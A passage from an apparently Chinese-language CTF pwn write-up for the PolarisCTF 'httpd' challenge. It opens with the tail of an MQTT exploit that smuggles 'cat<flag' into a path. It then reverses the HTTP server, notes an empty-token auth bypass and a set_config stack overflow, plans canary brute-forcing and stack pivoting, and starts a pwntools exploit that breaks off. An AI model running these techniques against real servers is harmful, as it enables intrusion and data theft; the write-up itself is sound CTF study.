n \u0026gt; 0: byte |= 0x80 res += bytes([byte]) return res def mqtt_connect(client_id=b\u0026#34;hacker\u0026#34;): payload = b\u0026#34;\\x00\\x04MQTT\\x04\\x02\\x00\\x3c\u0026#34; + struct.pack(\u0026#34;\u0026gt;H\u0026#34;, len(client_id)) + client_id return b\u0026#34;\\x10\u0026#34; + encode_varint(len(payload)) + payload def mqtt_publish(topic, msg, retain=True): flags = 0x31 if retain else 0x30 payload = struct.pack(\u0026#34;\u0026gt;H\u0026#34;, len(topic)) + topic + msg return bytes([flags]) + encode_varint(len(payload)) + payload def mqtt_subscribe(topic, pkt_id=1): payload = struct.pack(\u0026#34;\u0026gt;H\u0026#34;, pkt_id) + struct.pack(\u0026#34;\u0026gt;H\u0026#34;, len(topic)) + topic + b\u0026#34;\\x00\u0026#34; return b\u0026#34;\\x82\u0026#34; + encode_varint(len(payload)) + payload if debug: p = remote(\u0026#39;127.0.0.1\u0026#39;, 9998) else: p = remote(target, port) io = p def dbg(cmd = \u0026#39;\u0026#39;): if debug: gdb.attach(p, gdbscript = cmd) def peek(num=4096): message = p.recv(num) p.unrecv(message) return message s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x, data :p.sendafter(x, data) sla = lambda x, data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) ur = lambda x :p.unrecv(x) pk = lambda num=4096 :peek(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4, b\u0026#39;\\x00\u0026#39;)) uu64 = lambda data :u64(data.ljust(8, b\u0026#39;\\x00\u0026#39;)) uru64 = lambda :uu64(ru(\u0026#39;\\x7f\u0026#39;)[-6:]) leak = lambda name :log.success(\u0026#39;{} = {}\u0026#39;.format(name, hex(eval(name)))) def attack(): s(mqtt_connect()) s(mqtt_subscribe(b\u0026#39;HTTP\u0026#39;)) payload = b\u0026#39;GET /home/ctf/index_html;cat\u0026lt;flag\u0026#39; s(mqtt_publish(b\u0026#39;HTTP\u0026#39;, payload)) payload = b\u0026#39;GET /home/ctf/index_html HTTP/1.1\\r\\nHost: x\\r\\nContentLength: 10\\r\\n\u0026#39; s(mqtt_publish(b\u0026#39;HTTP\u0026#39;, payload)) itr() attack() httpd 第一次做 httpd\n还是难在逆向，，，\nchecksec 1 2 3 4 5 6 7 8 [*] \u0026#39;/home/RatherHard/CTF-pwn/PolarisCTF/httpd/httpd\u0026#39; Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled 好久没见过 no pie 的题目了\nIDA main 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 void __fastcall __noreturn main(int a1, char **a2, char **a3) { int optval; // [rsp+Ch] [rbp-D4h] BYREF socklen_t addr_len; // [rsp+10h] [rbp-D0h] BYREF int fd; // [rsp+14h] [rbp-CCh] int v6; // [rsp+18h] [rbp-C8h] __pid_t v7; // [rsp+1Ch] [rbp-C4h] sockaddr addr; // [rsp+20h] [rbp-C0h] BYREF struct sockaddr v9; // [rsp+30h] [rbp-B0h] BYREF sigaction act; // [rsp+40h] [rbp-A0h] BYREF unsigned __int64 v11; // [rsp+D8h] [rbp-8h] v11 = __readfsqword(0x28u); optval = 1; fd = socket(2, 1, 0); if ( !fd ) { perror(\u0026#34;Socket failed\u0026#34;); exit(1); } setsockopt(fd, 1, 2, \u0026amp;optval, 4u); addr.sa_family = 2; *(_DWORD *)\u0026amp;addr.sa_data[2] = 0; *(_WORD *)addr.sa_data = htons(0x270Fu); if ( bind(fd, \u0026amp;addr, 0x10u) \u0026lt; 0 ) { perror(\u0026#34;Bind failed\u0026#34;); exit(1); } if ( listen(fd, 256) \u0026lt; 0 ) { perror(\u0026#34;Listen failed\u0026#34;); exit(1); } act.sa_handler = (__sighandler_t)errormessage; sigemptyset(\u0026amp;act.sa_mask); act.sa_flags = 0; sigaction(11, \u0026amp;act, 0); sigaction(6, \u0026amp;act, 0); signal(17, (__sighandler_t)1); printf(format, 9999); init_admin_state(); while ( 1 ) { while ( 1 ) { addr_len = 16; v6 = accept(fd, \u0026amp;v9, \u0026amp;addr_len); if ( v6 \u0026gt;= 0 ) break; if ( *__errno_location() != 4 ) perror(\u0026#34;accept failed\u0026#34;); } v7 = fork(); if ( v7 \u0026gt;= 0 ) { if ( !v7 ) { close(fd); g_client_fd = v6; type_route(v6); close(v6); exit(0); } close(v6); } else { perror(\u0026#34;fork failed\u0026#34;); close(v6); } } } 用 fork ，可以多次利用\ntype_route 1 2 3 4 5 6 7 8 9 10 11 12 13 14 // Top-level request dispatcher: allocate request_t, parse one request, then branch to GET or POST handlers based on req-\u0026gt;method. void __fastcall type_route(int fd) { request_t *s; // [rsp+18h] [rbp-8h] s = (request_t *)malloc(0x2A78u); memset(s, 0, sizeof(request_t)); parse_rq(fd, s); if ( !strcmp(s-\u0026gt;method, \u0026#34;GET\u0026#34;) ) handle_get(fd, s); if ( !strcmp(s-\u0026gt;method, \u0026#34;POST\u0026#34;) ) handle_post(fd, s); free(s); } 先 parse_rq 解析请求再处理\nstruct 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 00000000 #pragma pack(push, 2) 00000000 struct http_header_t // sizeof=0x140 00000000 { 00000000 char name[64]; 00000040 char value[256]; 00000140 }; 00000140 #pragma pack(pop) 00000000 #pragma pack(push, 2) 00000000 struct request_t // sizeof=0x2A78 00000000 { 00000000 char method[16]; 00000010 char path[256]; 00000110 char version[16]; 00000120 int header_count; 00000124 http_header_t headers[32]; 00002924 char cookie_key[64]; 00002964 char cookie_value[256]; 00002A64 int _pad; 00002A68 char *post_body; 00002A70 size_t content_length; 00002A78 }; 00002A78 #pragma pack(pop) 00000000 #pragma pack(push, 2) 00000000 struct post_field_t // sizeof=0x2010 00000000 { 00000000 char key[4096]; 00001000 size_t key_len; 00001008 char value[4096]; 00002008 size_t value_len; 00002010 }; 00002010 #pragma pack(pop) 00000000 #pragma pack(push, 2) 00000000 struct admin_info_t // sizeof=0x100 00000000 { 00000000 char username[32]; 00000020 char password[32]; 00000040 char token[64]; 00000080 char route_name[32]; 000000A0 char ip[32]; 000000C0 char subnet_mask[32]; 000000E0 char gateway[32]; 00000100 }; 00000100 #pragma pack(pop) parse_rq 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 // Parse one HTTP request from the client socket into request_t. For POST, it copies the body once based on Content-Length. unsigned __int64 __fastcall parse_rq(int fd, request_t *req) { size_t v2; // rax char *haystack; // [rsp+10h] [rbp-1070h] char *nptr; // [rsp+18h] [rbp-1068h] char *end; // [rsp+28h] [rbp-1058h] char *begin; // [rsp+30h] [rbp-1050h] char *linend; // [rsp+30h] [rbp-1050h] char *tip; // [rsp+40h] [rbp-1040h] const char *s; // [rsp+50h] [rbp-1030h] char *eq; // [rsp+58h] [rbp-1028h] char *tkend; // [rsp+68h] [rbp-1018h] _QWORD buf[513]; // [rsp+70h] [rbp-1010h] BYREF unsigned __int64 v14; // [rsp+1078h] [rbp-8h] v14 = __readfsqword(0x28u); memset(buf, 0, 0x1000u); read(fd, buf, 0xFFFu); end = strstr((const char *)buf, \u0026#34;\\r\\n\\r\\n\u0026#34;); begin = strstr((const char *)buf, \u0026#34;\\r\\n\u0026#34;); *begin = 0; __isoc99_sscanf(buf, \u0026#34;%15s %255s %15s\u0026#34;, req, req-\u0026gt;path, req-\u0026gt;version);// Head for ( haystack = begin + 2; haystack \u0026lt; end; haystack = linend + 2 ) { linend = strstr(haystack, \u0026#34;\\r\\n\u0026#34;); *linend = 0; tip = strchr(haystack, \u0026#39;:\u0026#39;); if ( tip ) { *tip = 0; for ( nptr = tip + 1; *nptr == \u0026#39; \u0026#39;; ++nptr ) ; if ( req-\u0026gt;header_count \u0026lt;= 31 ) { strncpy(req-\u0026gt;headers[req-\u0026gt;header_count].name, haystack, 0x3Fu); strncpy(req-\u0026gt;headers[req-\u0026gt;header_count].value, nptr, 0xFFu); ++req-\u0026gt;header_count; } if ( !strcmp(haystack, \u0026#34;Content-Length\u0026#34;) ) req-\u0026gt;content_length = atoi(nptr); if ( !strcmp(haystack, \u0026#34;Cookie\u0026#34;) ) { s = strstr(nptr, \u0026#34;token\u0026#34;); if ( s ) { eq = strchr(s, \u0026#39;=\u0026#39;); *eq = 0; tkend = strchr(eq + 1, \u0026#39;;\u0026#39;); if ( tkend ) *tkend = 0; strncpy(req-\u0026gt;cookie_key, s, 0x3Fu); strncpy(req-\u0026gt;cookie_value, eq + 1, 0xFFu); } } } } if ( !strcmp(req-\u0026gt;method, \u0026#34;POST\u0026#34;) ) { req-\u0026gt;post_body = (char *)malloc(req-\u0026gt;content_length + 3); v2 = malloc_usable_size(req-\u0026gt;post_body); memset(req-\u0026gt;post_body, 0, v2); memcpy(req-\u0026gt;post_body, end + 4, req-\u0026gt;content_length); memcpy(\u0026amp;req-\u0026gt;post_body[req-\u0026gt;content_length], \u0026#34;\\r\\n\u0026#34;, 2u); } return v14 - __readfsqword(0x28u); } 正常的解析请求\n请求头会解析 Cookie 的 token 字段\nhandle_get 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 // GET route handler. Uses an 8-byte stack buffer for the normalized path, serves a few fixed pages, and exposes an unauthenticated /getCookie route. unsigned __int64 __fastcall handle_get(unsigned int fd, request_t *req) { int v2; // eax int v3; // eax int v4; // eax int v5; // eax char s1[8]; // [rsp+10h] [rbp-210h] BYREF __int64 v8; // [rsp+18h] [rbp-208h] __int64 v9; // [rsp+20h] [rbp-200h] __int64 v10; // [rsp+28h] [rbp-1F8h] __int64 v11; // [rsp+30h] [rbp-1F0h] __int64 v12; // [rsp+38h] [rbp-1E8h] __int64 v13; // [rsp+40h] [rbp-1E0h] __int64 v14; // [rsp+48h] [rbp-1D8h] __int64 v15; // [rsp+50h] [rbp-1D0h] __int64 v16; // [rsp+58h] [rbp-1C8h] __int64 v17; // [rsp+60h] [rbp-1C0h] __int64 v18; // [rsp+68h] [rbp-1B8h] __int64 v19; // [rsp+70h] [rbp-1B0h] __int64 v20; // [rsp+78h] [rbp-1A8h] __int64 v21; // [rsp+80h] [rbp-1A0h] __int64 v22; // [rsp+88h] [rbp-198h] __int64 v23; // [rsp+90h] [rbp-190h] __int64 v24; // [rsp+98h] [rbp-188h] __int64 v25; // [rsp+A0h] [rbp-180h] __int64 v26; // [rsp+A8h] [rbp-178h] __int64 v27; // [rsp+B0h] [rbp-170h] __int64 v28; // [rsp+B8h] [rbp-168h] __int64 v29; // [rsp+C0h] [rbp-160h] __int64 v30; // [rsp+C8h] [rbp-158h] __int64 v31; // [rsp+D0h] [rbp-150h] __int64 v32; // [rsp+D8h] [rbp-148h] __int64 v33; // [rsp+E0h] [rbp-140h] __int64 v34; // [rsp+E8h] [rbp-138h] __int64 v35; // [rsp+F0h] [rbp-130h] __int64 v36; // [rsp+F8h] [rbp-128h] __int64 v37; // [rsp+100h] [rbp-120h] __int64 v38; // [rsp+108h] [rbp-118h] char s[8]; // [rsp+110h] [rbp-110h] BYREF __int64 v40; // [rsp+118h] [rbp-108h] __int64 v41; // [rsp+120h] [rbp-100h] __int64 v42; // [rsp+128h] [rbp-F8h] __int64 v43; // [rsp+130h] [rbp-F0h] __int64 v44; // [rsp+138h] [rbp-E8h] __int64 v45; // [rsp+140h] [rbp-E0h] __int64 v46; // [rsp+148h] [rbp-D8h] __int64 v47; // [rsp+150h] [rbp-D0h] __int64 v48; // [rsp+158h] [rbp-C8h] __int64 v49; // [rsp+160h] [rbp-C0h] __int64 v50; // [rsp+168h] [rbp-B8h] __int64 v51; // [rsp+170h] [rbp-B0h] __int64 v52; // [rsp+178h] [rbp-A8h] __int64 v53; // [rsp+180h] [rbp-A0h] __int64 v54; // [rsp+188h] [rbp-98h] __int64 v55; // [rsp+190h] [rbp-90h] __int64 v56; // [rsp+198h] [rbp-88h] __int64 v57; // [rsp+1A0h] [rbp-80h] __int64 v58; // [rsp+1A8h] [rbp-78h] __int64 v59; // [rsp+1B0h] [rbp-70h] __int64 v60; // [rsp+1B8h] [rbp-68h] __int64 v61; // [rsp+1C0h] [rbp-60h] __int64 v62; // [rsp+1C8h] [rbp-58h] __int64 v63; // [rsp+1D0h] [rbp-50h] __int64 v64; // [rsp+1D8h] [rbp-48h] __int64 v65; // [rsp+1E0h] [rbp-40h] __int64 v66; // [rsp+1E8h] [rbp-38h] __int64 v67; // [rsp+1F0h] [rbp-30h] __int64 v68; // [rsp+1F8h] [rbp-28h] __int64 v69; // [rsp+200h] [rbp-20h] __int64 v70; // [rsp+208h] [rbp-18h] unsigned __int64 v71; // [rsp+218h] [rbp-8h] v71 = __readfsqword(0x28u); *(_QWORD *)s1 = 0; v8 = 0; v9 = 0; v10 = 0; v11 = 0; v12 = 0; v13 = 0; v14 = 0; v15 = 0; v16 = 0; v17 = 0; v18 = 0; v19 = 0; v20 = 0; v21 = 0; v22 = 0; v23 = 0; v24 = 0; v25 = 0; v26 = 0; v27 = 0; v28 = 0; v29 = 0; v30 = 0; v31 = 0; v32 = 0; v33 = 0; v34 = 0; v35 = 0; v36 = 0; v37 = 0; v38 = 0; extract_path_no_query(req-\u0026gt;path, s1); if ( !strcmp(s1, \u0026#34;/index\u0026#34;) || !strcmp(s1, \u0026#34;/\u0026#34;) ) { LOBYTE(v2) = judge_token(req); if ( v2 ) { serve_static_page(fd, \u0026#34;index.html\u0026#34;, 200u); return v71 - __readfsqword(0x28u); } LABEL_19: send_redirect(fd, \u0026#34;/login\u0026#34;, 0); return v71 - __readfsqword(0x28u); } if ( !strcmp(s1, \u0026#34;/login\u0026#34;) ) { LOBYTE(v3) = judge_token(req); if ( v3 ) send_redirect(fd, \u0026#34;/index\u0026#34;, 0); else serve_static_page(fd, \u0026#34;login.html\u0026#34;, 0xC8u); } else { if ( !strcmp(s1, \u0026#34;/logout\u0026#34;) ) { *(_QWORD *)s = 0; v40 = 0; v41 = 0; v42 = 0; v43 = 0; v44 = 0; v45 = 0; v46 = 0; v47 = 0; v48 = 0; v49 = 0; v50 = 0; v51 = 0; v52 = 0; v53 = 0; v54 = 0; v55 = 0; v56 = 0; v57 = 0; v58 = 0; v59 = 0; v60 = 0; v61 = 0; v62 = 0; v63 = 0; v64 = 0; v65 = 0; v66 = 0; v67 = 0; v68 = 0; v69 = 0; v70 = 0; snprintf(s, 0x100u, \u0026#34;token=%s; Max-Age=0;\u0026#34;, g_admin-\u0026gt;token); memset(g_admin-\u0026gt;token, 0, sizeof(g_admin-\u0026gt;token)); send_redirect(fd, \u0026#34;/login\u0026#34;, s); return v71 - __readfsqword(0x28u); } if ( !strcmp(s1, \u0026#34;/resetPasswd\u0026#34;) ) { LOBYTE(v4) = judge_token(req); if ( v4 ) { serve_static_page(fd, \u0026#34;reset_passwd.html\u0026#34;, 0xC8u); return v71 - __readfsqword(0x28u); } goto LABEL_19; } if ( !strcmp(s1, \u0026#34;/config\u0026#34;) ) { LOBYTE(v5) = judge_token(req); if ( v5 ) { serve_static_page(fd, \u0026#34;config.html\u0026#34;, 0xC8u); return v71 - __readfsqword(0x28u); } goto LABEL_19; } if ( !strcmp(s1, \u0026#34;/getCookie\u0026#34;) ) { generate_session_token((__int64)g_admin-\u0026gt;token); snprintf(s, 0x100u, \u0026#34;token=%s;\u0026#34;, g_admin-\u0026gt;token); send_redirect(fd, \u0026#34;/login\u0026#34;, s); } else { serve_static_page(fd, \u0026#34;404.html\u0026#34;, 0x194u); } } return v71 - __readfsqword(0x28u); } 全是静态页面，，，没啥用\n但是 serve_static_page 这个函数有点意思，如果能劫持他的参数，就可以让它回弹目录下的 flag 文件\nhandle_post 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 // POST route handler. Supports /login, /resetPasswd, and /config; all non-login actions require a valid token. unsigned __int64 __fastcall handle_post(unsigned int fd, request_t *req) { int v2; // eax int v3; // eax char s1[8]; // [rsp+50h] [rbp-110h] BYREF __int64 v6; // [rsp+58h] [rbp-108h] __int64 v7; // [rsp+60h] [rbp-100h] __int64 v8; // [rsp+68h] [rbp-F8h] __int64 v9; // [rsp+70h] [rbp-F0h] __int64 v10; // [rsp+78h] [rbp-E8h] __int64 v11; // [rsp+80h] [rbp-E0h] __int64 v12; // [rsp+88h] [rbp-D8h] __int64 v13; // [rsp+90h] [rbp-D0h] __int64 v14; // [rsp+98h] [rbp-C8h] __int64 v15; // [rsp+A0h] [rbp-C0h] __int64 v16; // [rsp+A8h] [rbp-B8h] __int64 v17; // [rsp+B0h] [rbp-B0h] __int64 v18; // [rsp+B8h] [rbp-A8h] __int64 v19; // [rsp+C0h] [rbp-A0h] __int64 v20; // [rsp+C8h] [rbp-98h] __int64 v21; // [rsp+D0h] [rbp-90h] __int64 v22; // [rsp+D8h] [rbp-88h] __int64 v23; // [rsp+E0h] [rbp-80h] __int64 v24; // [rsp+E8h] [rbp-78h] __int64 v25; // [rsp+F0h] [rbp-70h] __int64 v26; // [rsp+F8h] [rbp-68h] __int64 v27; // [rsp+100h] [rbp-60h] __int64 v28; // [rsp+108h] [rbp-58h] __int64 v29; // [rsp+110h] [rbp-50h] __int64 v30; // [rsp+118h] [rbp-48h] __int64 v31; // [rsp+120h] [rbp-40h] __int64 v32; // [rsp+128h] [rbp-38h] __int64 v33; // [rsp+130h] [rbp-30h] __int64 v34; // [rsp+138h] [rbp-28h] __int64 v35; // [rsp+140h] [rbp-20h] __int64 v36; // [rsp+148h] [rbp-18h] unsigned __int64 v37; // [rsp+158h] [rbp-8h] v37 = __readfsqword(0x28u); *(_QWORD *)s1 = 0; v6 = 0; v7 = 0; v8 = 0; v9 = 0; v10 = 0; v11 = 0; v12 = 0; v13 = 0; v14 = 0; v15 = 0; v16 = 0; v17 = 0; v18 = 0; v19 = 0; v20 = 0; v21 = 0; v22 = 0; v23 = 0; v24 = 0; v25 = 0; v26 = 0; v27 = 0; v28 = 0; v29 = 0; v30 = 0; v31 = 0; v32 = 0; v33 = 0; v34 = 0; v35 = 0; v36 = 0; extract_path_no_query(req-\u0026gt;path, s1); if ( !strncmp(s1, \u0026#34;/login\u0026#34;, 6u) ) { if ( (unsigned int)judgeuser(req, g_admin) ) { send_http_response(fd, 200, \u0026#34;application/json\u0026#34;, \u0026#34;{\\\u0026#34;authLogin\\\u0026#34; : 1}\u0026#34;); return v37 - __readfsqword(0x28u); } LABEL_16: send_http_response(fd, 200, \u0026#34;application/json\u0026#34;, \u0026#34;{\\\u0026#34;authLogin\\\u0026#34; : 0}\u0026#34;); return v37 - __readfsqword(0x28u); } if ( !strcmp(s1, \u0026#34;/resetPasswd\u0026#34;) ) { LOBYTE(v2) = judge_token(req); if ( !v2 ) goto LABEL_16; if ( (unsigned int)reset_password(req, g_admin) ) send_http_response(fd, 200, \u0026#34;application/json\u0026#34;, \u0026#34;{\\\u0026#34;reset\\\u0026#34; : 1}\u0026#34;); else send_http_response(fd, 200, \u0026#34;application/json\u0026#34;, \u0026#34;{\\\u0026#34;reset\\\u0026#34; : 0}\u0026#34;); } else { if ( strcmp(s1, \u0026#34;/config\u0026#34;) ) { serve_static_page(fd, \u0026#34;404.html\u0026#34;, 0x194u); return v37 - __readfsqword(0x28u); } LOBYTE(v3) = judge_token(req); if ( !v3 ) goto LABEL_16; if ( (unsigned int)set_config(req, g_admin) ) send_http_response(fd, 200, \u0026#34;application/json\u0026#34;, \u0026#34;{\\\u0026#34;setInfo\\\u0026#34; : 1}\u0026#34;); else send_http_response(fd, 200, \u0026#34;application/json\u0026#34;, \u0026#34;{\\\u0026#34;setInfo\\\u0026#34; : 0}\u0026#34;); } return v37 - __readfsqword(0x28u); } 想要访问页面并使用下层函数需要通过 judge_token ，然后惊讶地发现最开始 init 的时候 token 是空的，在 Cookie 中将 token 设定为空即可绕过鉴权\nset_config 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 __int64 __fastcall set_config(request_t *req, admin_info_t *admin) { __int64 v3; // rbx __int64 v4; // rbx __int64 v5; // rbx __int64 v6; // rbx __int64 v7; // rbx __int64 v8; // rbx __int64 v9; // rbx __int64 v10; // rbx post_field_t *out_field; // [rsp+10h] [rbp-B0h] BYREF post_field_t *fields; // [rsp+18h] [rbp-A8h] _QWORD dest[4]; // [rsp+20h] [rbp-A0h] BYREF _QWORD v14[4]; // [rsp+40h] [rbp-80h] BYREF _QWORD v15[4]; // [rsp+60h] [rbp-60h] BYREF _QWORD v16[7]; // [rsp+80h] [rbp-40h] BYREF v16[5] = __readfsqword(0x28u); fields = make_post_ptr(req); if ( !(unsigned int)searchtok(\u0026#34;route_name\u0026#34;, fields, \u0026amp;out_field) ) return 0; memcpy(dest, out_field-\u0026gt;value, out_field-\u0026gt;value_len); if ( !(unsigned int)searchtok(\u0026#34;ip\u0026#34;, fields, \u0026amp;out_field) ) return 0; memcpy(v14, out_field-\u0026gt;value, out_field-\u0026gt;value_len); if ( !(unsigned int)searchtok(\u0026#34;subnet_mask\u0026#34;, fields, \u0026amp;out_field) ) return 0; memcpy(v15, out_field-\u0026gt;value, out_field-\u0026gt;value_len); if ( !(unsigned int)searchtok(\u0026#34;gateway\u0026#34;, fields, \u0026amp;out_field) ) return 0; memcpy(v16, out_field-\u0026gt;value, out_field-\u0026gt;value_len); v3 = dest[1]; *(_QWORD *)admin-\u0026gt;route_name = dest[0]; *(_QWORD *)\u0026amp;admin-\u0026gt;route_name[8] = v3; v4 = dest[3]; *(_QWORD *)\u0026amp;admin-\u0026gt;route_name[16] = dest[2]; *(_QWORD *)\u0026amp;admin-\u0026gt;route_name[24] = v4; v5 = v14[1]; *(_QWORD *)admin-\u0026gt;ip = v14[0]; *(_QWORD *)\u0026amp;admin-\u0026gt;ip[8] = v5; v6 = v14[3]; *(_QWORD *)\u0026amp;admin-\u0026gt;ip[16] = v14[2]; *(_QWORD *)\u0026amp;admin-\u0026gt;ip[24] = v6; v7 = v15[1]; *(_QWORD *)admin-\u0026gt;subnet_mask = v15[0]; *(_QWORD *)\u0026amp;admin-\u0026gt;subnet_mask[8] = v7; v8 = v15[3]; *(_QWORD *)\u0026amp;admin-\u0026gt;subnet_mask[16] = v15[2]; *(_QWORD *)\u0026amp;admin-\u0026gt;subnet_mask[24] = v8; v9 = v16[1]; *(_QWORD *)admin-\u0026gt;gateway = v16[0]; *(_QWORD *)\u0026amp;admin-\u0026gt;gateway[8] = v9; v10 = v16[3]; *(_QWORD *)\u0026amp;admin-\u0026gt;gateway[16] = v16[2]; *(_QWORD *)\u0026amp;admin-\u0026gt;gateway[24] = v10; return 1; } 这个 httpd 的风险函数挺多的，由于 value_len 可以自行指定，因此存在栈溢出漏洞\nparse_post_fields 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 // Split application/x-www-form-urlencoded body into up to 20 post_field_t entries, URL-decoding both key and value. unsigned __int64 __fastcall parse_post_fields(char *body, post_field_t *fields) { unsigned __int64 result; // rax int i; // [rsp+18h] [rbp-48h] char *line_cur; // [rsp+20h] [rbp-40h] char *s1; // [rsp+28h] [rbp-38h] char *j; // [rsp+30h] [rbp-30h] _BYTE *s; // [rsp+48h] [rbp-18h] result = (unsigned __int64)body; line_cur = body; for ( i = 0; i \u0026lt;= 19; ++i ) { result = (unsigned __int8)*line_cur; if ( (_BYTE)result == \u0026#39;\\n\u0026#39; ) break; for ( s1 = line_cur; *s1 != \u0026#39;\u0026amp;\u0026#39; \u0026amp;\u0026amp; strncmp(s1, \u0026#34;\\r\\n\u0026#34;, 2u); ++s1 ) ; for ( j = line_cur; *j != \u0026#39;=\u0026#39; \u0026amp;\u0026amp; strncmp(j, \u0026#34;\\r\\n\u0026#34;, 2u); ++j ) ; if ( *j == \u0026#39;=\u0026#39; ) { s = malloc(0x1000u); memset(s, 0, 0x1000u); memcpy(s, line_cur, (int)j - (int)line_cur); fields[i].key_len = (size_t)url_decode_component(fields[i].key, s); memcpy(s, j + 1, (int)s1 - ((int)j + 1)); fields[i].value_len = (size_t)url_decode_component(fields[i].value, s); free(s); } result = (unsigned __int64)(s1 + 1); line_cur = s1 + 1; } return result; } POST body 的格式是 key1=keyvalue1\u0026amp;key2=keyvalue2\u0026hellip;\nurl_decode_component 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 _BYTE *__fastcall url_decode_component(_BYTE *a1, _BYTE *a2) { _BYTE *v2; // rax _BYTE *v3; // rax _BYTE *v4; // rdx _BYTE *v5; // rax _BYTE *v6; // rdx _BYTE *v7; // rax int v9; // [rsp+18h] [rbp-18h] int v10; // [rsp+1Ch] [rbp-14h] _BYTE *v11; // [rsp+20h] [rbp-10h] v11 = a1; while ( *a2 ) { if ( *a2 == \u0026#39;+\u0026#39; ) { v2 = v11++; *v2 = \u0026#39; \u0026#39;; ++a2; } else if ( *a2 == \u0026#39;%\u0026#39; ) { if ( !a2[1] || !a2[2] || (v9 = hex_to_nibble(a2[1]), v10 = hex_to_nibble(a2[2]), v9 == -1) || v10 == -1 ) { v4 = a2++; v5 = v11++; *v5 = *v4; } else { v3 = v11++; *v3 = v10 | (16 * v9); a2 += 3; } } else { v6 = a2++; v7 = v11++; *v7 = *v6; } } *v11 = 0; return (_BYTE *)(v11 - a1); } 解析 url\n攻击思路 唯一的漏洞是 setconfig 函数的栈溢出\n利用这个栈溢出我们可以实现 canary 的爆破和 stack 的爆破\n我们希望最终能劫持 serve_static_page 来完成读取 flag 的任务\n要怎么做呢？请看汇编：\n1 2 3 4 5 6 7 8 9 10 11 12 .text:0000000000402BDB endbr64 .text:0000000000402BDF push rbp .text:0000000000402BE0 mov rbp, rsp .text:0000000000402BE3 sub rsp, 30h .text:0000000000402BE7 mov [rbp+var_24], edi .text:0000000000402BEA mov [rbp+filename], rsi .text:0000000000402BEE mov [rbp+var_28], edx .text:0000000000402BF1 mov rax, [rbp+filename] .text:0000000000402BF5 lea rdx, modes ; \u0026#34;r\u0026#34; .text:0000000000402BFC mov rsi, rdx ; modes .text:0000000000402BFF mov rdi, rax ; filename .text:0000000000402C02 call _fopen 我们可以通过栈迁移到栈上去布置 [rbp+var_24] | [rbp+filename] | [rbp+var_28] 然后 rip 跳到 402BF5 ，这样就相当于劫持了 serve_static_page 的参数\n然后就可以读取 flag 啦\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.os = \u0026#39;linux\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 1 file = \u0026#39;./httpd\u0026#39; elf = ELF(file) target = \u0026#39;60.205.163.215\u0026#39; port = 13774 def conn(): if debug: return remote(\u0026#39;127.0.0.1\u0026#39;, 9999) else: return remote(target, port) io = p = None def dbg(cmd = \u0026#39;\u0026#39;): if debug: gdb.attach(p, gdbscript = cmd) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x, data :p.sendafter(x, data) sla = lambda x, data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4, b\u0026#39;\\x00\u0026#39;)) uu64 = lambda data :u64(data.ljust(8, b\u0026#39;\\x00\u0026#39;)) 